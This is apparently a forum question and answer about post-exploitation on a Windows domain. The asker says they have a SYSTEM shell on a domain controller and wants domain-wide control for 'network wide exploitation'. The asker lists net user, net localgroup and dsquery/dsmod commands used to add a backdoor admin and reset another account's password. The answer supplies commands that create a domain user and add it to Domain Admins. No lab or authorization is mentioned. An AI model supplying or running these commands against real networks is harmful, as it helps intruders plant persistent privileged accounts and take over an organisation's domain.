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So I've popped a shell on a primary domain controller (PDC) which has NT\SYSTEM permissions on the box. I've created a local admin user account using the following commands:

net user myname myc0mpl3x password /add 
net localgroup adminstrators myname /add

However I'd prefer to have Domain Administrator permissions as this will make my network wide exploitation much more simple. My understanding is that this is possible, however I can't find any references or information on how.

I've also attempted using:

dsquery user -samid name.of.dom.acc.i.know | dsmod user -pwd co0mmmpl3xx

to reset the password of an account I know has permissions but that's caused my shell to freeze for some reason.

I will try and use

net user name.of.dom.acc.i.know c0mpl3dxcfd 

but I'm not sure of that either.

How else can I create an account with domain admin permissions (I'd rather create one rather than re-set another account's password)?

Are there other simple privilege escalation tricks I can do via command line?

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# WINDOWS: Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# WINDOWS: Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD
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